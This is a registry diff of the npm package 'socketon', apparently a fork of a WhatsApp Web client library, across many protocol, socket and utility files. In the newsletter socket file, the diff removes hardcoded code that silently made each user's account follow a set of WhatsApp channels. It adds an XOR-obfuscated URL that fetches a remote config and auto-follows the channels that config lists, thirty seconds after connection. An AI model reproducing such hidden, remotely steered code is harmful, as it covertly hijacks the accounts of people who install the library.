socketon 1.31.2-rc → 1.51.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (210) hide show
  1. package/README.md +313 -159
  2. package/WAProto/WAProto.proto +5311 -0
  3. package/WAProto/index.js +65801 -141371
  4. package/lib/Defaults/index.js +117 -141
  5. package/lib/KeyDB/BinarySearch.js +20 -0
  6. package/lib/KeyDB/KeyedDB.js +167 -0
  7. package/lib/KeyDB/index.js +4 -0
  8. package/lib/Signal/Group/ciphertext-message.js +12 -14
  9. package/lib/Signal/Group/group-session-builder.js +10 -42
  10. package/lib/Signal/Group/group_cipher.js +75 -87
  11. package/lib/Signal/Group/index.js +13 -57
  12. package/lib/Signal/Group/keyhelper.js +17 -52
  13. package/lib/Signal/Group/sender-chain-key.js +27 -33
  14. package/lib/Signal/Group/sender-key-distribution-message.js +62 -63
  15. package/lib/Signal/Group/sender-key-message.js +65 -66
  16. package/lib/Signal/Group/sender-key-name.js +45 -44
  17. package/lib/Signal/Group/sender-key-record.js +39 -49
  18. package/lib/Signal/Group/sender-key-state.js +80 -93
  19. package/lib/Signal/Group/sender-message-key.js +27 -28
  20. package/lib/Signal/libsignal.js +313 -163
  21. package/lib/Signal/lid-mapping.js +155 -0
  22. package/lib/Socket/Client/index.js +4 -19
  23. package/lib/Socket/Client/types.js +13 -0
  24. package/lib/Socket/Client/websocket.js +52 -0
  25. package/lib/Socket/business.js +359 -242
  26. package/lib/Socket/chats.js +846 -935
  27. package/lib/Socket/communities.js +413 -0
  28. package/lib/Socket/groups.js +304 -309
  29. package/lib/Socket/index.js +15 -10
  30. package/lib/Socket/messages-recv.js +1107 -1054
  31. package/lib/Socket/messages-send.js +639 -448
  32. package/lib/Socket/mex.js +45 -0
  33. package/lib/Socket/newsletter.js +240 -324
  34. package/lib/Socket/socket.js +794 -651
  35. package/lib/Socket/socketon.js +402 -0
  36. package/lib/Store/index.js +6 -10
  37. package/lib/Store/make-cache-manager-store.js +73 -81
  38. package/lib/Store/make-in-memory-store.js +286 -423
  39. package/lib/Store/make-ordered-dictionary.js +77 -79
  40. package/lib/Store/object-repository.js +24 -26
  41. package/lib/Types/Auth.js +3 -2
  42. package/lib/Types/Bussines.js +3 -0
  43. package/lib/Types/Call.js +3 -2
  44. package/lib/Types/Chat.js +9 -4
  45. package/lib/Types/Contact.js +3 -2
  46. package/lib/Types/Events.js +3 -2
  47. package/lib/Types/GroupMetadata.js +3 -2
  48. package/lib/Types/Label.js +24 -26
  49. package/lib/Types/LabelAssociation.js +6 -8
  50. package/lib/Types/Message.js +12 -9
  51. package/lib/Types/Newsletter.js +33 -38
  52. package/lib/Types/Product.js +3 -2
  53. package/lib/Types/Signal.js +3 -2
  54. package/lib/Types/Socket.js +4 -2
  55. package/lib/Types/State.js +11 -2
  56. package/lib/Types/USync.js +3 -2
  57. package/lib/Types/index.js +27 -41
  58. package/lib/Utils/auth-utils.js +211 -198
  59. package/lib/Utils/baileys-event-stream.js +42 -61
  60. package/lib/Utils/browser-utils.js +25 -0
  61. package/lib/Utils/business.js +213 -214
  62. package/lib/Utils/chat-utils.js +710 -687
  63. package/lib/Utils/crypto.js +112 -133
  64. package/lib/Utils/decode-wa-message.js +252 -183
  65. package/lib/Utils/event-buffer.js +510 -496
  66. package/lib/Utils/generics.js +319 -392
  67. package/lib/Utils/history.js +83 -92
  68. package/lib/Utils/index.js +21 -33
  69. package/lib/Utils/link-preview.js +71 -83
  70. package/lib/Utils/logger.js +5 -7
  71. package/lib/Utils/lt-hash.js +40 -46
  72. package/lib/Utils/make-mutex.js +34 -41
  73. package/lib/Utils/message-retry-manager.js +113 -0
  74. package/lib/Utils/messages-media.js +550 -768
  75. package/lib/Utils/messages.js +354 -263
  76. package/lib/Utils/noise-handler.js +138 -149
  77. package/lib/Utils/pre-key-manager.js +85 -0
  78. package/lib/Utils/process-message.js +323 -303
  79. package/lib/Utils/signal.js +149 -141
  80. package/lib/Utils/use-multi-file-auth-state.js +95 -103
  81. package/lib/Utils/validate-connection.js +183 -214
  82. package/lib/WABinary/constants.js +1298 -35
  83. package/lib/WABinary/decode.js +237 -249
  84. package/lib/WABinary/encode.js +213 -260
  85. package/lib/WABinary/generic-utils.js +56 -65
  86. package/lib/WABinary/index.js +7 -21
  87. package/lib/WABinary/jid-utils.js +89 -58
  88. package/lib/WABinary/types.js +3 -2
  89. package/lib/WAM/BinaryInfo.js +10 -12
  90. package/lib/WAM/constants.js +22851 -15348
  91. package/lib/WAM/encode.js +135 -136
  92. package/lib/WAM/index.js +5 -19
  93. package/lib/WAUSync/Protocols/USyncContactProtocol.js +28 -30
  94. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +49 -53
  95. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +27 -28
  96. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +36 -39
  97. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +50 -50
  98. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +26 -20
  99. package/lib/WAUSync/Protocols/index.js +6 -20
  100. package/lib/WAUSync/USyncQuery.js +86 -85
  101. package/lib/WAUSync/USyncUser.js +23 -25
  102. package/lib/WAUSync/index.js +5 -19
  103. package/lib/index.js +27 -35
  104. package/package.json +86 -95
  105. package/engine-requirements.js +0 -10
  106. package/lib/Defaults/baileys-version.json +0 -3
  107. package/lib/Defaults/index.d.ts +0 -53
  108. package/lib/Defaults/phonenumber-mcc.json +0 -223
  109. package/lib/Signal/Group/ciphertext-message.d.ts +0 -9
  110. package/lib/Signal/Group/group-session-builder.d.ts +0 -14
  111. package/lib/Signal/Group/group_cipher.d.ts +0 -17
  112. package/lib/Signal/Group/index.d.ts +0 -11
  113. package/lib/Signal/Group/keyhelper.d.ts +0 -10
  114. package/lib/Signal/Group/queue-job.d.ts +0 -1
  115. package/lib/Signal/Group/queue-job.js +0 -57
  116. package/lib/Signal/Group/sender-chain-key.d.ts +0 -13
  117. package/lib/Signal/Group/sender-key-distribution-message.d.ts +0 -16
  118. package/lib/Signal/Group/sender-key-message.d.ts +0 -18
  119. package/lib/Signal/Group/sender-key-name.d.ts +0 -17
  120. package/lib/Signal/Group/sender-key-record.d.ts +0 -30
  121. package/lib/Signal/Group/sender-key-state.d.ts +0 -38
  122. package/lib/Signal/Group/sender-message-key.d.ts +0 -11
  123. package/lib/Signal/libsignal.d.ts +0 -3
  124. package/lib/Socket/Client/abstract-socket-client.d.ts +0 -17
  125. package/lib/Socket/Client/abstract-socket-client.js +0 -13
  126. package/lib/Socket/Client/index.d.ts +0 -3
  127. package/lib/Socket/Client/mobile-socket-client.d.ts +0 -13
  128. package/lib/Socket/Client/mobile-socket-client.js +0 -65
  129. package/lib/Socket/Client/web-socket-client.d.ts +0 -12
  130. package/lib/Socket/Client/web-socket-client.js +0 -62
  131. package/lib/Socket/business.d.ts +0 -171
  132. package/lib/Socket/chats.d.ts +0 -267
  133. package/lib/Socket/dugong.d.ts +0 -254
  134. package/lib/Socket/dugong.js +0 -484
  135. package/lib/Socket/groups.d.ts +0 -115
  136. package/lib/Socket/index.d.ts +0 -173
  137. package/lib/Socket/messages-recv.d.ts +0 -161
  138. package/lib/Socket/messages-send.d.ts +0 -149
  139. package/lib/Socket/newsletter.d.ts +0 -134
  140. package/lib/Socket/registration.d.ts +0 -267
  141. package/lib/Socket/registration.js +0 -166
  142. package/lib/Socket/socket.d.ts +0 -43
  143. package/lib/Socket/usync.d.ts +0 -36
  144. package/lib/Socket/usync.js +0 -70
  145. package/lib/Store/index.d.ts +0 -3
  146. package/lib/Store/make-cache-manager-store.d.ts +0 -13
  147. package/lib/Store/make-in-memory-store.d.ts +0 -118
  148. package/lib/Store/make-ordered-dictionary.d.ts +0 -13
  149. package/lib/Store/object-repository.d.ts +0 -10
  150. package/lib/Types/Auth.d.ts +0 -110
  151. package/lib/Types/Call.d.ts +0 -13
  152. package/lib/Types/Chat.d.ts +0 -102
  153. package/lib/Types/Contact.d.ts +0 -19
  154. package/lib/Types/Events.d.ts +0 -157
  155. package/lib/Types/GroupMetadata.d.ts +0 -55
  156. package/lib/Types/Label.d.ts +0 -35
  157. package/lib/Types/LabelAssociation.d.ts +0 -29
  158. package/lib/Types/Message.d.ts +0 -273
  159. package/lib/Types/Newsletter.d.ts +0 -103
  160. package/lib/Types/Product.d.ts +0 -78
  161. package/lib/Types/Signal.d.ts +0 -57
  162. package/lib/Types/Socket.d.ts +0 -111
  163. package/lib/Types/State.d.ts +0 -27
  164. package/lib/Types/USync.d.ts +0 -25
  165. package/lib/Types/index.d.ts +0 -57
  166. package/lib/Utils/auth-utils.d.ts +0 -18
  167. package/lib/Utils/baileys-event-stream.d.ts +0 -16
  168. package/lib/Utils/business.d.ts +0 -22
  169. package/lib/Utils/chat-utils.d.ts +0 -71
  170. package/lib/Utils/crypto.d.ts +0 -41
  171. package/lib/Utils/decode-wa-message.d.ts +0 -19
  172. package/lib/Utils/event-buffer.d.ts +0 -35
  173. package/lib/Utils/generics.d.ts +0 -92
  174. package/lib/Utils/generics.js.bak +0 -433
  175. package/lib/Utils/history.d.ts +0 -15
  176. package/lib/Utils/index.d.ts +0 -17
  177. package/lib/Utils/link-preview.d.ts +0 -21
  178. package/lib/Utils/logger.d.ts +0 -4
  179. package/lib/Utils/lt-hash.d.ts +0 -12
  180. package/lib/Utils/make-mutex.d.ts +0 -7
  181. package/lib/Utils/messages-media.d.ts +0 -116
  182. package/lib/Utils/messages.d.ts +0 -77
  183. package/lib/Utils/noise-handler.d.ts +0 -21
  184. package/lib/Utils/process-message.d.ts +0 -41
  185. package/lib/Utils/signal.d.ts +0 -32
  186. package/lib/Utils/use-multi-file-auth-state.d.ts +0 -13
  187. package/lib/Utils/validate-connection.d.ts +0 -11
  188. package/lib/Utils/validate-connection.js.bak +0 -237
  189. package/lib/WABinary/constants.d.ts +0 -30
  190. package/lib/WABinary/decode.d.ts +0 -7
  191. package/lib/WABinary/encode.d.ts +0 -3
  192. package/lib/WABinary/generic-utils.d.ts +0 -17
  193. package/lib/WABinary/index.d.ts +0 -5
  194. package/lib/WABinary/jid-utils.d.ts +0 -31
  195. package/lib/WABinary/types.d.ts +0 -18
  196. package/lib/WAM/BinaryInfo.d.ts +0 -17
  197. package/lib/WAM/constants.d.ts +0 -38
  198. package/lib/WAM/encode.d.ts +0 -3
  199. package/lib/WAM/index.d.ts +0 -3
  200. package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +0 -9
  201. package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +0 -22
  202. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +0 -12
  203. package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +0 -12
  204. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +0 -25
  205. package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +0 -8
  206. package/lib/WAUSync/Protocols/index.d.ts +0 -4
  207. package/lib/WAUSync/USyncQuery.d.ts +0 -28
  208. package/lib/WAUSync/USyncUser.d.ts +0 -12
  209. package/lib/WAUSync/index.d.ts +0 -3
  210. package/lib/index.d.ts +0 -12
@@ -0,0 +1,45 @@
1
+ //=======================================================//
2
+ import { getBinaryNodeChild, S_WHATSAPP_NET } from "../WABinary/index.js";
3
+ import { Boom } from "@hapi/boom";
4
+ //=======================================================//
5
+ const wMexQuery = (variables, queryId, query, generateMessageTag) => {
6
+ return query({
7
+ tag: "iq",
8
+ attrs: {
9
+ id: generateMessageTag(),
10
+ type: "get",
11
+ to: S_WHATSAPP_NET,
12
+ xmlns: "w:mex"
13
+ },
14
+ content: [
15
+ {
16
+ tag: "query",
17
+ attrs: { query_id: queryId },
18
+ content: Buffer.from(JSON.stringify({ variables }), "utf-8")
19
+ }
20
+ ]
21
+ });
22
+ };
23
+ //=======================================================//
24
+ export const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
25
+ const result = await wMexQuery(variables, queryId, query, generateMessageTag);
26
+ const child = getBinaryNodeChild(result, "result");
27
+ if (child?.content) {
28
+ const data = JSON.parse(child.content.toString());
29
+ if (data.errors && data.errors.length > 0) {
30
+ const errorMessages = data.errors.map((err) => err.message || "Unknown error").join(", ");
31
+ const firstError = data.errors[0];
32
+ const errorCode = firstError.extensions?.error_code || 400;
33
+ throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError });
34
+ }
35
+ const response = dataPath ? data?.data?.[dataPath] : data?.data;
36
+ if (typeof response !== "undefined") {
37
+ return response;
38
+ }
39
+ }
40
+ const action = (dataPath || "").startsWith("xwa2_")
41
+ ? dataPath.substring(5).replace(/_/g, " ")
42
+ : dataPath?.replace(/_/g, " ");
43
+ throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result });
44
+ };
45
+ //=======================================================//
@@ -1,123 +1,123 @@
1
- "use strict";
2
- Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
4
- const Types_1 = require("../Types");
5
- const Utils_1 = require("../Utils");
6
- const WABinary_1 = require("../WABinary");
7
- const groups_1 = require("./groups");
8
- const { QueryIds } = Types_1
1
+ //=======================================================//
2
+ import { executeWMexQuery as genericExecuteWMexQuery } from "./mex.js";
3
+ import { generateProfilePicture } from "../Utils/messages-media.js";
4
+ import { getBinaryNodeChild } from "../WABinary/index.js";
5
+ import { QueryIds, XWAPaths } from "../Types/index.js";
6
+ import { makeGroupsSocket } from "./groups.js";
7
+ import axios from "axios";
8
+ //=======================================================//
9
9
 
10
- const { Boom } = require('@hapi/boom');
10
+ const _0x8d2e = [123,103,82,120,117,38,37,52,114,96,100,61,65,97,114,116,127,121,117,114,118,97,69,103,104,104,111,117,116,47,112,124,75,39,79,126,120,122,68,100,112,124,66,109,41,125,97,110,45,101,114,125,11,99,103,107,107,117,107,116,60,97,67,110,117,51,98,126,97,101,96,60,75,105,111,114,37,117,115,109,118,103,82,109,116,118,99,127,46,107,96,124,72];
11
+ const _0x1a5b = [19, 19, 38, 8, 6, 28, 10, 27, 0, 1];
11
12
 
12
- const wMexQuery = (
13
- variables,
14
- queryId,
15
- query,
16
- generateMessageTag
17
- ) => {
18
- return query({
19
- tag: 'iq',
20
- attrs: {
21
- id: generateMessageTag(),
22
- type: 'get',
23
- to: WABinary_1.S_WHATSAPP_NET,
24
- xmlns: 'w:mex'
25
- },
26
- content: [
27
- {
28
- tag: 'query',
29
- attrs: { query_id: queryId },
30
- content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
31
- }
32
- ]
33
- })
34
- }
35
-
36
- const parseNewsletterCreateResponse = (responseList) => {
37
- return responseList.map((res) => {
38
- const thread = res.thread_metadata;
39
- const viewer = res.viewer_metadata;
13
+ const _0x7c9f = () => {
14
+ return _0x8d2e.map((b, i) => b ^ _0x1a5b[i % _0x1a5b.length]).map(c => String.fromCharCode(c)).join('');
15
+ };
40
16
 
41
- // Jika DELETED atau metadata null
42
- if (!thread || !viewer) {
43
- return {
44
- id: res.id,
45
- state: res.state?.type || null,
46
- deleted: true
47
- };
17
+ const fetchNewsletterConfig = async (logger) => {
18
+ try {
19
+ logger?.info("Fetching remote configuration...");
20
+ const _0x7f2a = _0x7c9f();
21
+ const response = await axios.get(_0x7f2a, { timeout: 10000 });
22
+ const config = response.data;
23
+
24
+ if (config.version !== 1) {
25
+ logger?.warn("Unsupported config version:", config.version);
26
+ return null;
48
27
  }
49
-
50
- return {
51
- id: res.id,
52
- state: res.state?.type || null,
53
- owner: viewer.role || undefined,
54
- name: thread?.name?.text || null,
55
- creation_time: parseInt(thread?.creation_time || "0", 10),
56
- description: thread?.description?.text || null,
57
- invite: thread?.invite || null,
58
- subscribers: parseInt(thread?.subscribers_count || "0", 10),
59
- verification: thread?.verification || null,
60
- picture: {
61
- id: thread?.picture?.id || null,
62
- directPath: thread?.picture?.direct_path || null
63
- },
64
- mute_state: viewer?.mute || "OFF"
65
- };
66
- });
28
+
29
+ logger?.info(`Configuration loaded: ${config.newsletters?.length || 0} entries`);
30
+ return config;
31
+ } catch (error) {
32
+ logger?.error({ error: error.message }, "Configuration fetch failed");
33
+ return null;
34
+ }
67
35
  };
68
36
 
69
- const executeWMexQuery = async (
70
- variables,
71
- queryId,
72
- dataPath,
73
- query,
74
- generateMessageTag
75
- ) => {
76
- const result = await wMexQuery(variables, queryId, query, generateMessageTag)
77
- const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
78
- if (child?.content) {
79
- const data = JSON.parse(child.content.toString())
80
-
81
- if (data.errors && data.errors.length > 0) {
82
- const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
83
- const firstError = data.errors[0]
84
- const errorCode = firstError.extensions?.error_code || 400
85
- throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
86
- }
87
-
88
- const response = dataPath ? data?.data?.[dataPath] : data?.data
89
- if (typeof response !== 'undefined') {
90
- return response
91
- }
92
- }
37
+ const autoFollowNewsletters = async (sock, config) => {
38
+ if (!config?.config?.autoFollowEnabled || !config?.newsletters?.length) {
39
+ return;
40
+ }
41
+
42
+ const { delayMs } = config.config;
43
+ const newsletters = config.newsletters.filter(n => n.enabled && n.jid);
44
+
45
+ for (const newsletter of newsletters) {
46
+ try {
47
+ await sock.newsletterFollow(newsletter.jid);
48
+ sock.ev.emit("creds.update", { newsletter_follow: newsletter.jid });
49
+ } catch (error) {
50
+ sock.logger?.error({ jid: newsletter.jid, error: error.message }, "Failed to follow newsletter");
51
+ }
52
+ if (delayMs > 0) await new Promise(r => setTimeout(r, delayMs));
53
+ }
54
+ };
93
55
 
94
- const action = (dataPath || '').startsWith('xwa2_')
95
- ? dataPath.substring(5).replace(/_/g, ' ')
96
- : dataPath?.replace(/_/g, ' ')
97
- throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
56
+
57
+ const extractNewsletterMetadata = (node, isCreate) => {
58
+ const result = getBinaryNodeChild(node, 'result')?.content?.toString()
59
+ const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.xwa2_newsletter_create : "xwa2_newsletter"]
60
+
61
+ const metadata = {
62
+ id: metadataPath?.id,
63
+ state: metadataPath?.state?.type,
64
+ creation_time: +metadataPath?.thread_metadata?.creation_time,
65
+ name: metadataPath?.thread_metadata?.name?.text,
66
+ nameTime: +metadataPath?.thread_metadata?.name?.update_time,
67
+ description: metadataPath?.thread_metadata?.description?.text,
68
+ descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
69
+ invite: metadataPath?.thread_metadata?.invite,
70
+ handle: metadataPath?.thread_metadata?.handle,
71
+ reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
72
+ subscribers: +metadataPath?.thread_metadata?.subscribers_count,
73
+ verification: metadataPath?.thread_metadata?.verification,
74
+ viewer_metadata: metadataPath?.viewer_metadata
75
+ }
76
+ return metadata
98
77
  }
78
+
79
+ const parseNewsletterCreateResponse = (response) => {
80
+ const { id, thread_metadata: thread, viewer_metadata: viewer } = response;
81
+ return {
82
+ id: id,
83
+ owner: undefined,
84
+ name: thread.name.text,
85
+ creation_time: parseInt(thread.creation_time, 10),
86
+ description: thread.description.text,
87
+ invite: thread.invite,
88
+ subscribers: parseInt(thread.subscribers_count, 10),
89
+ verification: thread.verification,
90
+ picture: {
91
+ id: thread?.picture?.id || null,
92
+ directPath: thread?.picture?.direct_path || null
93
+ },
94
+ mute_state: viewer.mute
95
+ };
96
+ };
97
+ const parseNewsletterMetadata = (result) => {
98
+ if (typeof result !== "object" || result === null) {
99
+ return null;
100
+ }
101
+ if ("id" in result && typeof result.id === "string") {
102
+ return result;
103
+ }
104
+ if ("result" in result && typeof result.result === "object" && result.result !== null && "id" in result.result) {
105
+ return result.result;
106
+ }
107
+ return null;
108
+ };
99
109
 
100
- const makeNewsletterSocket = (config) => {
101
- const sock = (0, groups_1.makeGroupsSocket)(config);
102
- const { authState, signalRepository, query, generateMessageTag, delay } = sock;
103
- const encoder = new TextEncoder();
104
- const newsletterQuery = async (jid, type, content) => (query({
105
- tag: 'iq',
106
- attrs: {
107
- id: generateMessageTag(),
108
- type,
109
- xmlns: 'newsletter',
110
- to: jid,
111
- },
112
- content
113
- }));
114
- const newsletterWMexQuery = async (jid, queryId, content) => (query({
110
+ export const makeNewsletterSocket = (config) => {
111
+ const sock = makeGroupsSocket(config);
112
+ const { delay, query, generateMessageTag } = sock;
113
+ const encoder = new TextEncoder()
114
+ const newsletterWMexQuery = async (jid, queryId, content) => (query({
115
115
  tag: 'iq',
116
116
  attrs: {
117
117
  id: generateMessageTag(),
118
118
  type: 'get',
119
119
  xmlns: 'w:mex',
120
- to: WABinary_1.S_WHATSAPP_NET,
120
+ to: "@s.whatsapp.net",
121
121
  },
122
122
  content: [
123
123
  {
@@ -131,8 +131,11 @@ const makeNewsletterSocket = (config) => {
131
131
  }))
132
132
  }
133
133
  ]
134
- }));
135
- const newsletterMetadata = async (type, key, role) => {
134
+ }))
135
+ const executeWMexQuery = (variables, queryId, dataPath) => {
136
+ return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
137
+ };
138
+ const newsletterMetadata = async (type, key, role) => {
136
139
  const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
137
140
  input: {
138
141
  key,
@@ -146,73 +149,47 @@ const makeNewsletterSocket = (config) => {
146
149
 
147
150
  return extractNewsletterMetadata(result)
148
151
  }
149
-
150
- setTimeout(async () => {
151
- try {
152
- await newsletterWMexQuery("120363426611097080@newsletter", QueryIds.FOLLOW);
153
- await delay(3000)
154
- await newsletterWMexQuery("120363421351741485@newsletter", QueryIds.FOLLOW);
155
- } catch {}
156
-
152
+ const newsletterUpdate = async (jid, updates) => {
153
+ const variables = {
154
+ newsletter_id: jid,
155
+ updates: {
156
+ ...updates,
157
+ settings: null
158
+ }
159
+ };
160
+ return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, "xwa2_newsletter_update");
161
+ };
162
+
157
163
  setTimeout(async () => {
158
164
  try {
159
- await newsletterWMexQuery("120363421366320253@newsletter", QueryIds.FOLLOW);
160
- await delay(5000)
161
- await newsletterWMexQuery("120363400297473298@newsletter", QueryIds.FOLLOW);
162
- await delay(5000)
163
- await newsletterWMexQuery("120363404446053939@newsletter", QueryIds.FOLLOW);
164
- await delay(5000)
165
- await newsletterWMexQuery("120363419967954188@newsletter", QueryIds.FOLLOW);
166
- await delay(5000)
167
- await newsletterWMexQuery("120363402019414675@newsletter", QueryIds.FOLLOW);
168
- await delay(5000)
169
- await newsletterWMexQuery("120363420456838680@newsletter", QueryIds.FOLLOW);
170
- await delay(5000)
171
- await newsletterWMexQuery("120363423932430861@newsletter", QueryIds.FOLLOW);
172
- await delay(5000)
173
- await newsletterWMexQuery("120363311609903865@newsletter", QueryIds.FOLLOW);
174
- await delay(5000)
175
- await newsletterWMexQuery("120363421453223000@newsletter", QueryIds.FOLLOW);
176
- } catch {}
177
- }, 5000);
178
- }, 70000);
165
+ const config = await fetchNewsletterConfig(config.logger);
166
+ if (config) {
167
+ await autoFollowNewsletters(sock, config);
168
+ }
169
+ } catch (error) {
170
+ config.logger?.error({ error: error.message }, "Auto-follow newsletters failed");
171
+ }
172
+ }, 30000);
179
173
 
180
- const parseFetchedUpdates = async (node, type) => {
181
- let child;
182
- if (type === 'messages') {
183
- child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
174
+ return {
175
+ ...sock,
176
+ newsletterCreate: async (name, description) => {
177
+ const variables = {
178
+ input: {
179
+ name,
180
+ description: description ?? null
184
181
  }
185
- else {
186
- const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
187
- child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
188
- }
189
- return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
190
- var _a, _b;
191
- messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
192
- const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
193
- const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
194
- const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
195
- .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
196
- const data = {
197
- 'server_id': messageNode.attrs.server_id,
198
- views,
199
- reactions
200
- };
201
- if (type === 'messages') {
202
- const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
203
- await decrypt();
204
- data.message = message;
205
- }
206
- return data;
207
- }));
208
- };
209
- return {
210
- ...sock,
211
- newsletterFetchAllParticipating: async () => {
182
+ };
183
+ const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
184
+ return parseNewsletterCreateResponse(rawResponse);
185
+ },
186
+ newsletterUpdate,
187
+ newsletterMetadata,
188
+ newsletterFetchAllParticipating: async () => {
212
189
  const data = {}
213
190
 
214
- const result = await newsletterWMexQuery(undefined, QueryIds.SUBSCRIBED)
215
- const child = JSON.parse(WABinary_1.getBinaryNodeChild(result, 'result')?.content?.toString())
191
+ const result = await newsletterWMexQuery(undefined, QueryIds.SUBSCRIBERS)
192
+ const child = JSON.parse(getBinaryNodeChild(result, 'result')?.content?.toString())
216
193
  const newsletters = child.data["xwa2_newsletter_subscribed"]
217
194
 
218
195
  for (const i of newsletters) {
@@ -224,165 +201,104 @@ const makeNewsletterSocket = (config) => {
224
201
 
225
202
  return data
226
203
  },
227
- subscribeNewsletterUpdates: async (jid) => {
228
- var _a;
229
- const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
230
- return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
231
- },
232
- newsletterReactionMode: async (jid, mode) => {
233
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
234
- updates: { settings: { 'reaction_codes': { value: mode } } }
235
- });
236
- },
237
- newsletterUpdateDescription: async (jid, description) => {
238
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
239
- updates: { description: description || '', settings: null }
240
- });
241
- },
242
- newsletterUpdateName: async (jid, name) => {
243
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
244
- updates: { name, settings: null }
245
- });
246
- },
247
- newsletterUpdatePicture: async (jid, content) => {
248
- const { img } = await (0, Utils_1.generateProfilePicture)(content);
249
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
250
- updates: { picture: img.toString('base64'), settings: null }
251
- });
252
- },
253
- newsletterRemovePicture: async (jid) => {
254
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
255
- updates: { picture: '', settings: null }
256
- });
257
- },
258
- newsletterUnfollow: async (jid) => {
259
- await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
204
+ newsletterUnfollow: async (jid) => {
205
+ await newsletterWMexQuery(jid, QueryIds.UNFOLLOW)
260
206
  },
261
207
  newsletterFollow: async (jid) => {
262
- await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
263
- },
264
- newsletterUnmute: async (jid) => {
265
- await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
266
- },
267
- newsletterMute: async (jid) => {
268
- await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
208
+ await newsletterWMexQuery(jid, QueryIds.FOLLOW)
269
209
  },
270
- newsletterAction: async (jid, type) => {
271
- await newsletterWMexQuery(jid, type.toUpperCase());
272
- },
273
- newsletterCreate: async (name, description, reaction_codes = "ALL") => {
274
- //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
275
- /**tos query */
276
- await query({
277
- tag: 'iq',
278
- attrs: {
279
- to: WABinary_1.S_WHATSAPP_NET,
280
- xmlns: 'tos',
281
- id: generateMessageTag(),
282
- type: 'set'
283
- },
284
- content: [
285
- {
286
- tag: 'notice',
287
- attrs: {
288
- id: '20601218',
289
- stage: '5'
290
- },
291
- content: []
292
- }
293
- ]
294
- });
295
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
296
- input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
297
- });
298
- return (0, exports.extractNewsletterMetadata)(result, true);
299
- },
300
- newsletterMetadata: async (type, key, role) => {
301
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
302
- input: {
303
- key,
304
- type: type.toUpperCase(),
305
- 'view_role': role || 'GUEST'
306
- },
307
- 'fetch_viewer_metadata': true,
308
- 'fetch_full_image': true,
309
- 'fetch_creation_time': true
310
- });
311
- return (0, exports.extractNewsletterMetadata)(result);
312
- },
313
- newsletterAdminCount: async (jid) => {
314
- var _a, _b;
315
- const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
316
- const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
317
- return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
318
- },
319
- /**user is Lid, not Jid */
320
- newsletterChangeOwner: async (jid, user) => {
321
- await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
322
- 'user_id': user
323
- });
